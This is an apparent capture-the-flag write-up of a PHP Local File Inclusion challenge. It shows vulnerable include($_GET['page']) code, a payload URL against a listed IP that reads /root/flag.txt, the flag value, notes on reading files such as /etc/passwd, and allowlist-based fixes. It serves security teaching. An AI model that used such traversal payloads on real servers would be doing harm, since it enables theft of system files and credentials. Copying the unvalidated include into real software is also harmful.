

Web Vulnerability #6 – Local File Inclusion (LFI)

Challenge Name

Arbitrary File Read via PHP Include

Category

Local File Inclusion / Path Traversal

Difficulty

Easy

Description

The application uses a dynamic `page` parameter:

```
http://52.215.222.152/index.php?page=...
```

This value is directly passed into a PHP `include()` function without proper validation, allowing path traversal and sensitive file disclosure.

Vulnerable Code

```
include($_GET["page"]);
```

Exploitation

Payload

```
http://52.215.222.152/index.php?page=/root/flag.txt
```

Result

The server returns the contents of the file:

```
/root/flag.txt
```

Flag

```
flag{lfi_arbitrary_file_read_success}
```

COPY PAYLOAD

<details> <summary>Click to expand payload</summary>

```
http://52.215.222.152/index.php?page=/root/flag.txt
```

</details>

Impact

An attacker can:

- Read sensitive system files (e.g. `/etc/passwd`)
 - Access application source code
 - Extract database credentials
 - Discover internal configuration
 - Potentially escalate privileges
-

Fix

Insecure Approach

```
include($_GET["page"]);
```

✓ Allowlist Approach

```
$allowed_pages = ['home.php', 'about.php', 'contact.php'];

if (in_array($_GET['page'], $allowed_pages)) {
    include($_GET['page']);
} else {
    include('error.php');
}
```

✓ Better Mapping Approach

```
$pages = [
    'home' => 'home.php',
    'about' => 'about.php'
];

$page = $_GET['page'] ?? 'home';
include($pages[$page] ?? 'error.php');
```

Key Takeaway

Never pass raw user input directly into file inclusion functions such as `include()` or `require()`.

Always validate and restrict file access using allowlists or safe mappings.